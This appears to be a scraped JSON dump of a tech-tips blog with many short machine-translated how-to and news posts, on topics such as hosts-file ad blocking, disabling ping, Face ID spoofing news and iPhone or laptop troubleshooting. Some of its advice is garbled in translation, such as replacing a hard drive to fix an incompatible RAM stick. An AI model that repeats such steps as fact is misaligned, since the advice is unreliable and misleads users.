differences between them show inside the circular end-cap to the end of the marker.\n  Clean up unwanted text you'd rather not display from the picture or screenshot with the Pixelate tool.\n  Clean up an unwanted area of the picture with the \"Crop and Resize tool\". This can be found on almost the bottom of the toolbar. Drag the tool's selected region over the region you'd like to highlight to save. Click the \"Apply\" button in the bottom right corner of the screen to Save the file crop.   Click the color palette icon, to change the color. You can choose between red, orange, yellow, green, blue, violet/pink, white or black.\n Part 3of 3:\nSaving your work  Select the File menu from the top of the screen.\n  Select the \"Save to Evernote\" option to save your annotated picture into a notebook Evernote will create called \"Skitch notes\" that will allow you to view these new notes from any place you have access to Evernote.\n  Select the \"Save as image\" to Save your file as it's own separate file, once it's done being annotated.\n  Select the \"Print\" command, to print the annotated image out using your printer.\n  Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqqShpJi1brLOq2SwoZ6ZvLi%2FjJ2crKOkpL1uvNGonquZnQ%3D%3D\n","link":"/post/how-to-use-the-skitch-for-windows-desktop-program/","section":"post","tags":null,"title":"How to Use the Skitch for Windows Desktop Program"},{"body":"Popup ads on Yahoo! Messenger certainly annoys you when using Yahoo as a means of communication with friends.\nWhen you open the chat window with your friends, a popup will appear covering the chat frame and it takes a few seconds for the ad to disappear.\n  This article will help you block Yahoo! Messenger.\nMethod 1: Edit the hosts file of the computer. Step 1: Open Windows Explorer, find the path: C: WindowsSystem32driversetc .\n  Step 2: Right-click on the hosts file , select Open with -\u0026gt; Notepad .\n  Add to the end of the following IP segment:\n127.0.0.1 insider.msg.yahoo.com 127.0.0.1 webapp.msg.yahoo.com 127.0.0.1 tr.adinterax.com 127.0.0.1 mi.adinterax.com/* 127.0.0.1 mi.adinterax.com 127.0.0.1 us.adserver.yahoo.com 127.0.0.1 us.adserver.yahoo.com/* Then save the hosts file.\n  Quit completely Yahoo! Messenger from the system tray and log in again.\nMethod 2: Set up Popup blocking configuration in Internet Options. Step 1: Go to Control Panel -\u0026gt; Network and Internet -\u0026gt; Internet Options .\n  Step 2: Select the Security tab , select Restricted sites and click the Sites button .\n  Step 3: In the Restricteb sites dialog box , enter us.adserver.yahoo.com in the Add this website to the zone box and then click Add . Click Close to close the dialog box.\n  You can log in to Yahoo! Messenger to check.\nAlso you can use software to block popup ads like AdFender.\nWith the above ways to block Yahoo popup ads, please choose a way to block. From now on you will no longer be annoyed because popup will no longer appear, you can freely chat with people.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaanKSwrLXNoGSanKNivK952JqfqKddorK0v8Snnp6q\n","link":"/post/instructions-for-blocking-ads-on-yahoo-messenger/","section":"post","tags":null,"title":"Instructions for blocking ads on Yahoo Messenger"},{"body":"Not long ago, the idea of ​​covering laptop webcams was considered by many to be redundant and unnecessary. But when Facebook founder Mark Zuckerberg accidentally revealed a laptop stuck with a camera and microphone when showing off his office, many people changed their minds. Not many people have followed the cautious actions of Facebook boss.\nAccording to Mashable, many security experts believe that the camera and microphone of laptops are becoming targets for hackers to record private images of users.\n   Mark Zuckerberg showed off Instagram's achievements in 2016, we can see webcams and audio jacks on his computer covered by tape. Photo: Zuckerberg.\nSynack's security researcher, Patrick Wardle, once discovered the malicious code, Fruitfly, was designed to track users through webcams, it works smoothly on Mac computers without anyone knowing.\nAnd selfie cameras on smartphones, mobile devices running on different operating systems than computers, are no exception.\nAppe, the technology firm that is committed to user privacy, has also stunned the iOS community when it detects the existence of serious errors on FaceTime, making iPhone users able to hear and observe people. They are contacting even if the person has not accepted the call.\nFor many people, smartphones are an isolated object, always carrying with them who use them in the bathroom, toilet or when doing private things. And one thing that almost no user thinks of is the selfie camera on a smartphone that can be used by hackers as an image tracking tool.\nAccording to the warning of security experts, users especially women always face the risk of being monitored and collecting real-life images. Completely removing the camera is not possible because the selfie feature is one of the things that users love most on smartphones. Therefore, users should use mobile stickers to temporarily disable selfie cameras. You can re-paste when not using the camera and remove them when taking photos.\nCovering such smartphone camera is a bit inconvenient and loses device aesthetics, so if you don't use the sticker, be careful to avoid directing the phone when you're doing something private.\nncG1vNJzZmismaXArq3KnmWcp51ktrW%2FjK2gpp1drry2edKhpq6klGKwsMLEq2StoJVivam7zZ6qZp6ipLu1ecKapJ6qkWKur7CMrZ%2Biq12ewG7Ax55kq52RqLyv\n","link":"/post/it-s-time-you-should-cover-the-phone-s-front-camera-and-this-is-the-reason/","section":"post","tags":null,"title":"It's time you should cover the phone's front camera and this is the reason"},{"body":"The Dv6-7000 and dv7-7000 are all equipped with large screens, respectively, 15.6 inches and 17.3 inches, Sandy Bridge chips and GeForce GT 650M graphics cards.\n  Pavilion equipped with aluminum alloy case with chrome side edge.\nAccording to the information on the Notebookcheck , dv6 and dv7 pages use the Sandy Bridge chip when it was released, although before that, the source said that maybe two new models will be equipped with the latest Ivy Bridge processor chip.\nDv6-7000 has a 15.6-inch screen with a resolution of 1,366 x 768 pixels. If desired, users can optionally upgrade to Full-HD screen. Dv6 is equipped with Nvidia GeForce GT 630M graphics chip and hard drive 1TB capacity.\nMeanwhile, the dv7-7000 is better configured with a 17.3-inch Full-HD screen. The processor for this model has 2 options, Core i5 or i7, with Nvidia GeForce GT 650M graphics chip and 2TB capacity drive.\nBoth models support up to 8GB of RAM, and other features such as Beats audio system, USB 3.0 port, DVD burning function or Blu-ray optical disc and 1.2 Megapixel webcam.\nDv6 and Dv7 will officially go on sale in the US next week with prices starting at 749 USD and 849 USD respectively.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKWYrZ2jqXq3sdGsoKimXaSzbrTPZqearpmhtrC6jJ2tb2WRo7FusNVwZKKrXaeyrbHArJyd\n","link":"/post/the-latest-version-of-hp-pavilion-dv6-and-dv7-is-released/","section":"post","tags":null,"title":"The latest version of HP Pavilion dv6 and dv7 is released"},{"body":" Beautiful free PowerPoint slides for teachers Beautiful free PowerPoint slides for office workers Create and use the Template in Outlook 2010 In the past, the admin dashboard part of a web application was built to contain the main features, and the interface is not much considered, so it looks quite dry and not user friendly. Fortunately, things have changed now. Especially in the past few years, there are many open source, outstanding features with beautiful designs, harmony. Besides the growing popularity of the Boostrap framework, creating a beautiful admin panel and multiple features has never been so easy.\nWhy do you choose to use Bootstrap? With Bootstrap, you'll know exactly what you can get. This is a very easy-to-customize mobile-first framework ( pre-designed phone to other devices ), including many available designs, comes with a huge component library and widgets. And perhaps most importantly, your Bootstrap will easily unify the interface on all screen resolutions and interfaces. So building a dashboard, or an admin panel for web applications with this framework is extremely effective.\nAll of the following free Admin and dashboard interfaces are rebuilt for use as a complete solution to help you quickly create a front-end dashboard for your web application. As well as the collection of Bootstrap widgets, they include many other addons, plugins and features ( complement charts \u0026amp; tables, schedules, file management and more ). All you need to build the dashboard.\nBesides the great features, these interfaces are also very beautiful. Please join TipsMake.com refer to Top 20 templates Bootstrap free for Admin Dashboard below!\nCoreUI Bootstrap 4 Admin Template for free   Light Bootstrap Dashboard    Material Dashboard - Bootstrap Material Design for Admin   Laravel Admin Bootstrap Template    Material Design for Bootstrap 4    Flat UI set for BootFlat Admin Dashboard Open-Source    Startmin Admin Dashboard Template    Paper Dashboard Bootstrap Admin Template    Blocks - A Single-Page Widgetised Admin Template    AdminLTE - A Clean Admin Theme    Gentelella Bootstrap Admin Template    Responsive Dashboard (AngularJS \u0026amp; Bootstrap)   Metis - Template Bootstrap Admin   SB Admin v.2 - A Minimal Bootstrap Dashboard Theme    TemplateVamp - Bootstrap Admin Theme    Clean Bootstrap Dashboard Theme    Charisma Responsive Admin Template    HTML5 Admin Template    Hierapolis - A Bold Bootstrap Admin Template    Bootstrap Admin Theme   Refer to some more articles:\n7 signs that your design style is out of date Enjoy 19 unique gadgets around the world Top 5 popular CSS Framework that you should keep in mind Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGtnZp6imrJurs6oq6ysopa9bsDEpqelmaSaerWxzKmjmqyVqHqnu9FmmJ2lmaN6pa3SoZmomaKZ\n","link":"/post/top-20-free-bootstrap-template-templates-for-admin-dashboard/","section":"post","tags":null,"title":"Top 20 free Bootstrap template templates for Admin Dashboard"},{"body":"The photo comment feature on Facebook has been around for a long time and it has become an indispensable trend for young people. Instead of simple words that are somewhat boring, you can completely use funny, unique images to make your chat or chat on Facebook become more fun and create your attention. mean to everyone.\nSo if you are looking for the best Facebook photo comment, the collection of images used for commenting on Facebook that the Collector Network Administrator below will be helpful. This set of photos is full of different emotional nuances such as humor, lovely, cute, troll, plump, etc., that will surely meet your needs in all cases.\nFacebook cover art photos for those who want to show personality Facebook cover photo for lonely people Facebook cover photo with Anime theme Summary of the best Facebook comment photos                                                             Hopefully the unique Facebook comment images, photo commentary Fcebook, funny Facebook comment photos, funny Facebook comment comment, etc., that the Network Administrator shared above has brought you a big smile, At the same time, you can get interesting pictures to comment on Facebook. Certainly with these images, your comments will attract many views as well as likes, download for use in each different context.\nBesides, if you want to have the latest Facebook comment photos, don't forget to visit the Network Administrator regularly, we will continuously update new images to send to you.\nHaving fun!\nSee more:\nSummarize the keywords that make up Facebook Summary of the most popular Facebook acronyms today Best Facebook name, meaning, unique, funny, mood ncG1vNJzZmismaXArq3KnmWcp51kwbC8jJucrKxdm66kscGopqRlk6S6rrHNrWSpoJ%2BpvLQ%3D\n","link":"/post/top-best-facebook-comment-photos/","section":"post","tags":null,"title":"Top best Facebook comment photos"},{"body":"With Windows 11, the way to turn on the Task Manager in Windows 11 has changed a bit, you will have more ways to access the Task Manager.\nWhether you are looking to troubleshoot or simply monitor your system resources, here are 6 different methods to launch Task Manager in Windows 11.\nPress Ctrl + Shift + Escape   Launching Task Manager via keyboard shortcuts is still supported in Windows 11. Just press Ctrl + Shift + Escape on your keyboard and Task Manager will immediately appear on the screen.\nSearch in the Start menu You can also open the Start menu and search for the keyword ' Task Manager '. You will see the corresponding results returned on the first line. Click the Task Manager's icon to launch the utility.\n  Right click on the Start button If you don't want to use the keyboard to launch Task Manager, you can right-click the Start button on your taskbar. In the menu that appears (commonly known as the 'power users menu'), select 'T ask Manager ' and the utility will immediately open.\n  Using Command Prompt If you want to launch Task Manager in a more 'professional' way, you can also use the Command Prompt command line tool.\nWhen the Command Prompt window opens, type the command taskmgron a blank line and press Enter. Task Manager will immediately open.\n   Using the Run window Similar to Command Prompt, you can also run Task Manager from Windows Run. Press Windows + R to open the Run dialog box and enter the keyword ' taskmgr ', then click ' OK ' or press Enter. Task Manager will immediately open.\n  Press Ctrl + Alt + Delete And finally, if all of the above options don't work, you can also go\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWVo66juMRmq5qrm2K6orrAoJyrZZmjeri1zZ2msKtdZn4%3D\n","link":"/post/ways-to-enable-task-manager-in-windows-11/","section":"post","tags":null,"title":"Ways to enable Task Manager in Windows 11"},{"body":"A few days ago, we witnessed a very interesting test conducted by BKAV and made a rather \"shocking\" video about trying to unlock Face ID on iPhone X with a 3D mask. The image of the eyes, cheeks and mouth simulated and surprisingly, this mask completely deceived the Face ID security feature of iPhone X. Thereby, the public opinion was very confused and there were many mixed remarks. .\nHow to set Face ID on iPhone X BKAV confirms that Face ID on iPhone X is not safe enough, with video proof After BKAV, recently an experiment shared by you on youTube once again made the iFan community skeptical of Face ID's security on iPhone X.\nAccording to the news site GearBrain led a test by FaceTec, a famous biometric security company in the US with Zoom face detection application, tried to fool iPhone X by placing fake eyes made of paper on the face of a sleeping user. The surprise is that the FaceID feature on iPhone X has been bypassed and unlocked easily.\n          FaceTec conducted a short test, pushing the issue further with the components of pizza replacing the paper eye and placing it on the iPhone owner's face. At this time, many people will feel shocked when only olives and mushrooms or a pair of bottle caps can replace the user's eyes to unlock. Testing is done many times and is successful.\nAs we know, Face ID has the option \"Require Attention ', but their mechanism of operation is when turned on, the owner will have to open their eyes and look directly at the sensor to accept unlocking Face ID. However, in this experiment, if only the pizza or olive fruit, the iPhone X will still pass easily.\nAfter testing with iPhone X, FaceTec immediately compared with its own technology: ZoOm. It also works on a login mechanism with a 3D face mirror that incorporates TrueLiveness technology, which uses a map of your face from a distance, then moves closer. This requires the user to keep the phone stable, then move it towards him and keep it stable again, zoom in. The application uses the front-facing camera of the iPhone or Android device to scan the owner face mirror, stored in the application and used for future authentication.\nDownload ZoOm for Android\nOf course, the results here show that ZoOm does a good job, not being fooled like iPhone X and Face ID. FaceTec may have gone on a subtle double move with this video: Just proving that Face ID of iPhone X is failing, has the opportunity to promote its new technology.\nIf Face ID is not really perfect to the point that the deviation rate is only about 1 part per million, successive tests show that the failure of Face ID will also be a challenge that Apple must explain to people. use. All are waiting for this explanation.\nncG1vNJzZmismaXArq3KnmWcp51kxKrAx2anmqiVp3qxtdmzmGannJ7DpnnNrqusZZGjsW6uzq2rpZ1dmK6xv4yypq5lk5a7br%2FToqOlZZakvK15xZqanmWZmXqwuoyip6Gnnpp6uQ%3D%3D\n","link":"/post/with-paper-pizza-olive-nuts-and-bottle-caps-you-can-still-fool-face-id-on-iphone-x/","section":"post","tags":null,"title":"With paper, pizza, olive nuts and bottle caps, you can still fool Face ID on iPhone X"},{"body":"- Method 1: Capture the entire screen\nTo capture the entire screen\u0026nbsp; computer , you only need to press\u0026nbsp; Command + Shift + 3 \u0026nbsp;and then let go, if you open the opening speakers on the MacBook, you'll hear the cup, so you took Success the whole screen.\n  What if you will want to capture an area, the operation is also very simple. You just need to press\u0026nbsp; Command + Shift + 4 , at this time you will see the plus sign + appear instead of the mouse pointer as usual\u0026gt; Hold down and drag the area you want to capture\u0026gt; Release your hand to capture .\n  You press\u0026nbsp; Command + Shift + 4 + Spacebar , the mouse will turn into a camera icon\u0026gt; You move to the area you want to capture such as the main screen, application or web browser window\u0026gt; Click window to capture the image.\n  The screenshot will be saved as a file on the Desktop or you can see it by going to\u0026nbsp; Finder \u0026nbsp;(on the menu bar)\u0026gt; Click on\u0026nbsp; Recents .\n  Above are 3 ways to take screenshots MacBook simplest and fastest. Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kgG6%2FyKanpZ1dlruledCuoJyjXayuur%2BMraZmrJGgsm6tjKyaq52Vo8Cpu9NmpqdlqaTCs3nMmpqbp5%2Bg\n","link":"/post/3-simple-and-quick-ways-to-take-a-screenshot-on-your-macbook/","section":"post","tags":null,"title":"3 simple and quick ways to take a screenshot on your MacBook"},{"body":"Do not panic, let the article below find out why the laptop is not on power, the cause and how to fix it effectively!\nBelow are just the common causes, most commonly encountered when a laptop is not powered on. If you are not computer- savvy\u0026nbsp; \u0026nbsp;or have tried all of the following methods but have not overcome it, please bring it to a reputable repair center for support.\n+\u0026nbsp; Cause : Due to power flicker, unstable.\n+\u0026nbsp; Signs : Charger connection flicker, unstable, charging indicator blinks, charging time is not.\n+\u0026nbsp; Remedy : Wait until the power is stable again. If there is urgent work, please find another power source to use.\n  +\u0026nbsp; Cause : Using a non-device charger, the plug is loose or has been damaged.\n+\u0026nbsp; Signs : Plug in charger but the light is not on, the device is not on, the fan is not running, even a pop is heard.\n+ \u0026nbsp;Remedy : Check that the charging cord is broken, the charging pin is loose or not. Try using a different charging cord with the same capacity to see if the laptop will power up. If after replacing the charger to the other laptop on the power source, it means that the charger cord is damaged. You should go buy another charger to use.\n  +\u0026nbsp; Cause : For laptops with poor heat dissipation, not regularly cleaning, the radiator does not work well. Plus the computer's continuous operation causes the laptop's temperature to be too high, leading to sudden shutdown of the laptop then unable to power on.\n+\u0026nbsp; Signs : Fan emits a loud voice, suddenly turned off, then open up the laptop does not.\n+\u0026nbsp; Remedy : You should wait a little for the laptop temperature to cool down, then try opening it again. To prevent this from happening, you should take your laptop to the toilet every 6 months to 1 year and apply thermal paste.\n  +\u0026nbsp; Cause : This is a very common error. The main reason is due to an unstable voltage that leads to burning of the power supply unit.\n+\u0026nbsp; Sign : The power clicker does not turn on or when the power is turned off. When the charger is plugged in, the charger light does not light, the laptop power light turns off.\n+\u0026nbsp; How to add c: You need to check if there is an error, you need to replace the source for the motherboard.\u0026nbsp;\n  +\u0026nbsp; Cause : Because you installed the system to boot from a USB or memory card.\n+\u0026nbsp; Signs : After plugging in a USB or some memory card, your laptop does not power up.\n+\u0026nbsp; Remedy : So if you use USB or memory card on your computer, remove them and restart the computer.\n  +\u0026nbsp; Cause : Due to a conflict between the software installed in your laptop, or driver management.\n+\u0026nbsp; Signs : When you enable\n+\u0026nbsp; Remedy : Enter Safe mode (press F8 right after pressing the start button), remember to remove the installed programs, then update the driver and finally restart the laptop.\n  +\u0026nbsp; Cause : Due to \u0026nbsp;incompatible RAM stick\u0026nbsp; .\n+\u0026nbsp; Sign : There is a 'cumulative' sound.\n+\u0026nbsp; Remedy : Buy and replace a new hard drive for the device.\n  Hopefully this article has helped you get more information on 7 reasons why your laptop won't power on and how to fix it. Thank you very much for reading, see you in the following articles.\nThe laptop does not power on the laptop does not power on ncG1vNJzZmismaXArq3KnmWcp51khG6%2BxJqqqKajYrmivNOop2acn5rAbrrOrWSpp6eav27Bz2aYp5xdnby4edOoZJ%2BhqGK2tXnEn52em6Sew6a42A%3D%3D\n","link":"/post/7-reasons-laptop-does-not-power-up-and-how-to-fix-it-effectively/","section":"post","tags":null,"title":"7 reasons laptop does not power up and how to fix it effectively"},{"body":"While both Intel and AMD are facing each other, an unexpected competitor is quietly gaining their market share, especially in the fertile server and cloud market. That is Amazon.\nIn a test conducted by Andrei Frumusanu of Anandtech, Amazon's new server CPU, Graviton2, showed a score that surpassed those of Intel and AMD server processors in terms of performance level compared to chi. charge out.\n The test was performed with Graviton2 and AMD EPYC 7571 and Intel Xeon Platinum 8259CL Cascade Lake, two processors currently being used by Amazon for its cloud services. Andrei discovered that Graviton2 CPUs save up to 54% in cost compared to Intel and AMD CPUs - a finding that could cause \"a huge earthquake for the AWS and EC2 ecosystems.\"\nSo how does Amazon achieve this great result?\nThis processor was created in the Annapurna Labs with 64 ARM Cortex A76 cores packed inside. CPU has 33MB cache and very high clock speed. Amazon is currently the only customer of Annapurna Labs, which means the processor has been tweaked to be completely optimized for AWS workloads.\n Therefore, according to Andrei, unless you must use the x86 platform, you will \"be foolish not to switch to using instances with Graviton2\", as they are increasingly popular, from VPN services ( AWS VPN) to web hosting (AWS Light Sail).\nAMD is currently preparing to launch EPYC2 to cope with the pressure coming from Graviton2 - at least until Graviton3 is released.\nncG1vNJzZmismaXArq3KnmWcp51krq6t2ailZqulmbGmusuyZJudk5a6pnnAZpqopaCawarAzqtkraddl7y1tIyipa2dnGKur7CMmqSdZZmjerW0xGaqnqqmmr9ur8%2BuZKaZoqCytQ%3D%3D\n","link":"/post/amazon-suddenly-became-a-competitor-to-both-intel-and-amd-in-the-server-cpu-market/","section":"post","tags":null,"title":"Amazon suddenly became a competitor to both Intel and AMD in the server CPU market"},{"body":"If you're having trouble connecting to a computer on the network, the first thing you think you need to do is Ping to that computer. Ping is a network tool used to test whether it is possible to connect to a particular host in the IP network . It is also used to test the computer's network interface card or test the connection speed. Ping works by sending ICMP 'echo request' packets to the destination host and listening to the ICMP 'echo response' response.\n  Although Ping is a very useful tool for network administrators, computer hackers can also use Ping to find victims on the Internet. By pinging a certain IP address and receiving a reply from that IP address, the hacker can find something interesting at the other end. If you can configure your computer to lock the response to this Ping command, your computer's security level will be tightened a little. In this article we will show you how to lock the computer's response when there is a Ping command from somewhere.\nSome routers may be configured to not respond to an ICMP Ping (ping to WAN port). Like the Belkin N1 Wireless router I am using, it can be set to not respond to ICMP Ping from the outside. Simply put, just tick the ' Block ICMP Ping ' checkbox, you will turn off the response to the ping command.\n If the router does not support Ping lock action, there is nothing to do on your computer because your router now automatically responds to ping requests.\nHowever, if there is a direct connection, there are several ways to lock PING. Third-party firewalls can help you do this.\nAnother method that can block PING computer name is to use IPSec by creating a policy to instruct the computer to block all certain IP traffic.\nFinally, if you want a simple way to lock PING through a click, try the Plax Network Suite toolkit . Plax Network Suite is a collection of easy-to-use network tools, allowing you to control computer activity over the Internet. You can easily enable or disable Windows Firewall, block all Internet traffic, and lock PING with one click.\n In addition, the toolkit has a port scanner and provides a visual report of all currently opened TCP / IP and UDP ports, mapping to the application you currently own. These are very useful information in quickly identifying which ports are currently open out of control and which applications are related to them.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FwJujnmWgnruoedGeqqmnnqiybrXNZq6ippSkxLQ%3D\n","link":"/post/disable-ping-response-in-windows/","section":"post","tags":null,"title":"Disable PING response in Windows"},{"body":" Microsoft PowerPoint provides numerous options for adding audio to a presentation. Music, sounds and audio effects can be imported into PowerPoint and adjusted to fit the timing of a presentation. Audio narrations also can be recorded and...\nMethod 1of 2:\nImport an Audio File in PowerPoint  Import an audio file saved to the computer. Open the presentation and select a slide to add an audio file. Click the Insert tab on the menu bar and click the Audio File button in the far right corner of the menu bar. Select the Audio From File option from the pull-down menu. Locate the audio file you wish to add to the presentation and double-click to insert it into the current slide. The audio file has been inserted into the presentation.\n  Format the audio file for playback. Click the Playback tab in the Audio Tools menu to open the Playback menu. Under Audio Options, click the Start menu and select the On Click, Automatic or Play Across Slides options as desired. Apply a fade effect, adjust the volume levels, trim the audio clip or adjust other settings as needed in the Playback menu. The audio file has been formatted.\n  Import a ClipArt audio file. Click the Insert tab on the menu bar and click the Audio File button in the far right corner of the menu bar. Select the Clip Art audio option from the pull-down menu. The Clip Art audio task pane will open. Enter a name for the type of audio clip desired, such as clapping or a telephone ring, into the search field at the top of the task bar. Select a clip from the options available and double click the icon to insert the file into the presentation. A Clip Art audio file had been inserted.\n Method 2of 2:\nRecord a Narration for a PowerPoint Presentation  Prepare to record the narration. Open the presentation and Click the Slide Show tab on the menu bar. Click the Record Slide Show button and select Start Recording From Beginning from the pull-down menu. The Record Slide Show dialog box will open. Place a check in the Narrations And Laser Pointer check box and click Start Recording. The Slide Show preview window will open.\n  Record the narration. Click the right-pointing arrow in the left corner of the preview window to begin the narration. Pause the narration at any time by clicking the pause button on the Recording shortcut menu, located in the upper-left corner of the screen.\n  Complete the narration. Click the right-pointing arrow again to advance to the next slide and continue the narration. Once the narration for the final slide is complete, click the right-pointing arrow or right-click the slide and click End Show. Click Yes when prompted to keep the current slide show timings. The narration is complete.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiwcOipmasn2K9sMPEq6eooZ6penN8kGk%3D\n","link":"/post/how-to-add-audio-to-powerpoint-2010/","section":"post","tags":null,"title":"How to Add Audio to Powerpoint 2010"},{"body":"In the Facebook group, Admin or administrator and moderators are allowed to approve anyone else to join the group, if the group is private, not public. Besides, these two roles also have control over the post on the Facebook group. And with administrator privileges you can select or remove the Admin or moderator roles of anyone in the Facebook group. The following article will guide how to remove Admin rights or any management rights on the Facebook group.\nHow to cancel Facebook Fanpage Admin The fastest way to leave the Facebook group How to block adding to groups on Facebook Instructions for deleting Facebook admin rights Step 1:\nAt the home page interface on Facebook you look at the list column on the left, in the Discover section click on the Group item .\n  Step 2:\nSwitch to the interface with your favorite groups, the group you're participating in and the group you're managing. In the Groups you are managing , click on the group you want to change the administrator rights of some member.\n  Step 3:\nIn your Facebook group view, look to the left of the screen and click on Members .\n  Step 4:\nUsers will then see the entire number of team members, as well as who is holding the administrator and moderator in the group. To delete Admin permissions of group members, click the 3 dots icon and select Remove as administrator .\n  Step 5:\nFacebook will ask users to enter their personal account password to proceed.\n  We will be verified again before deciding to remove the administrator rights of the selected member. Click OK to confirm removing the Admin rights of that member. Finally, you will receive a message that has successfully removed Admin rights.\n  As an Admin of the Facebook group, we have many group management rights such as adding members, deleting members, managing posts on the group, or deleting administrative rights of team members. After the deletion, they will become a normal member and are not allowed to perform any administrative actions of Admin anymore.\nSee more:\nHow to download closed Facebook videos How to share private Facebook posts with specific groups How to block Facebook nick, how to block an annoying invitation? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRo7CmuIyam6ahnmK2r3nFmpqemp%2BkuG6z0aisqQ%3D%3D\n","link":"/post/how-to-cancel-admin-in-facebook-group/","section":"post","tags":null,"title":"How to cancel Admin in Facebook group"},{"body":"Windows 10 has now provided a dark mode for users to use. And when you want to change another desktop interface for your computer, you must go to Settings and then done. Instead of manual way, we will switch the light and dark background on Windows 10 with just one click through the Easy Dark Mode tool.\nThe tool is lightweight and easy to use, changing the computer interface from light to dark or vice versa with just a simple mouse click. The following article will guide you how to use the Easy Dark Mode tool on Windows 10.\nActivate Dark Theme on Windows 10 Instructions to change the light and dark background on Windows 10 Step 1:\nYou access the link below to go to the homepage of Easy Dark Mode and then proceed to download the tool, install as usual.\nhttps://www.wintools.info/index.php/easy-dark-mode  Step 2:\nAfter installation is complete, the tool's icon displays in the Taskbar with the background currently used on the computer.\n  To switch the computer interface to dark mode, click the Easy Dark Mode icon in the system tray and vice versa. The result of the computer interface has turned to the black background as below.\n  Step 3:\nWhen you right-click on the tool icon below the Taskbar you will see a list of settings, including Hotkey set shortcuts to change the computer interface mode light to dark or vice versa.\n  Step 4:\nNext select the main key from the list of tools and the second key click on the word None to select the key in the alphabet. In addition, the Autostart option allows the tool to always start with the computer and Start Mode selects the default startup interface mode.\n  See more:\nHow to install the Dark Mode interface for every Windows 10 screen How to turn on Dark Theme for File Explorer on Windows 10 5 Dark Themes for Windows 10 I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lkpawrLPRqKynnF2htqi002aYp5xdma6zt4ywoKecn6zAbsPIrZ9maV2ivLa%2FxGaapaGToA%3D%3D\n","link":"/post/how-to-change-the-background-light-and-dark-windows-with-1-mouse-click/","section":"post","tags":null,"title":"How to change the background light and dark Windows with 1 mouse click"},{"body":"iPhone phones are considered to be stable phones, but sometimes they still encounter some unexpected errors. One of the common errors on the iPhone is the apple logo hanging on the screen. When the Apple logo hang error appears, your phone will automatically turn off after a short period of time. If you just reset the normal way, the error of hanging logo on iPhone will continue to appear. However, do not worry too much because there is an effective and simple way to fix them. Let's find out the cause and how to fix the Apple logo error on iPhone!\nThe reason for the iPhone phone to hang on the logo According to the survey, usually people who jailbreak their iPhone phones often encounter the error of hanging the logo on their iPhone. Jailbreaking phones have deeply interfered with the system making them no longer as stable as they were originally. Besides, the software update on the iPhone has an error that also causes the phone to hang the Apple logo.\n  Aside from being software related, it's also possible that your iPhones have a hardware failure that makes them unbootable. At this point, the iPhone will display the Apple logo and hang them to notify the phone that there is a problem.\nNo matter what situation you are stuck with the Apple logo, there is no need to worry because there is still a way to deal with them quickly and effectively.\n1. Charge your iPhone to fix the phone stuck on the logo In some simple cases, you just need to plug in your iPhone to fix the error of hanging the logo on the screen. However, please make sure that charging your iPhone is stable and accurate. You can also exchange for better iPhone chargers to check if your iPhone is still stuck with the Apple logo?\n2. Hard reset iPhone to fix Apple logo hanging error Different from other ways to reset the phone, hard resetting the iPhone phone forces the phone to restart and this is an effective way to fix all errors on the iPhone. Hard resetting iPhone phones is extremely safe because they will not lose data on the phone. However, each different phone line will have a different hard reset method.\niPhone 6 and iPhone 6s: Press and hold the power button and home button on the phone at the same time for a few seconds. When the Apple logo appears, release both buttons at the same time to let them start automatically. iPhone 7 and iPhone 7 Plus: Press and hold the volume down button and the power button at the same time for a few seconds. When the Apple logo appears, release both buttons at the same time to let them start automatically. iPhone 8 or later: Quickly press and release the volume up button, continue to press and quickly release the volume down button. Then, hold down the power button for a few seconds until the Apple Logo appears, then release the power button.   3. Restore iPhone with software In case the above methods do not help your iPhone to get rid of the error of hanging the logo on the screen, then you should use specialized software. Currently on the market there are many tools but Tenorshare ReiBoot is the most powerful and effective tool. The Tenorshare ReiBoot tool offers standard repair and in-depth repair modes that make fixing logo hang errors easier than ever.\nStep 1: Install Tenorshare ReiBoot software on your computer and start it up to use. After successfully booting, connect your iPhone to the computer via the USB charging cable.\nWhen the phone and computer connection is successful, select Start to start fixing the error.\n  Step 2: Next, you will have to choose the error correction mode on the software. Currently, Tenorshare ReiBoot is providing Standard Repair and Deep Repair modes. Choose Standard Repair to fix the Apple logo error on your iPhone.\n  Step 3: To activate the standard repair mode, you need to download the installation package on the software. Select Download to start downloading the necessary files before fixing the logo hang error on your iPhone.\nAfter the installation file is successfully downloaded, select Start Standard Repair to start fixing the error.\n  Step 4: The process of fixing logo hang error on iPhone will last for a few minutes. During the troubleshooting process, make sure that the connection between the phone and the computer is stable and that the computer is not turned off. Once the restore is complete, your iPhone will reboot normally.\n  You can check out the detailed video below:\n4. Restore iPhone with iTunes iTunes tools are developed by Apple and they serve to fix some basic errors on iPhone phones. If your phone often hangs with the Apple logo, use iTunes to restore it. However, using iTunes to restore iPhone also means that all data on the phone will be lost.\nStep 1: Put your iPhone into recovery mode.\niPhone 6s or earlier: Hold down the power and home buttons at the same time until the phone enters recovery mode. iPhone 7/7 Plus: Hold down the volume down button and the power button at the same time until the phone enters recovery mode. iPhone 8 or later: Press and release the volume up + down buttons at the same time. Then hold down the power button until the phone enters recovery mode. Step 2: When the phone enters recovery mode successfully, open iTunes on your computer and connect your iPhone to the computer with a USB charging cable.\nStep 3: At this point, on iTunes, a notification window will appear asking to update or restore iPhone. You select ' Restore ' to start the restore.\n  Alternatively, you can also use Tenorshare ReiBoot to put your iPhone into recovery mode. How to do is very simple, you just need to download this software and connect your iPhone to your computer with a USB charging cable. Then, you choose Enter Recovery Mode on the software and wait a few seconds for the iPhone to enter recovery mode by itself.\n5. Restore your iPhone using DFU mode Updating software on iPhone phones makes them work well with iTunes without downloading the operating system. This is the simplest of the recovery modes and works well in many cases especially when the iPhone is stuck with the Apple logo. To perform a DFU restore you must follow these steps:\niPhone 8 or later:\nConnect your iPhone to your computer with a USB cable. Hold and press the Volume Up + Down button. Hold down the side button until the black screen appears. When the black screen appears, keep holding the side button and volume down button for about 5 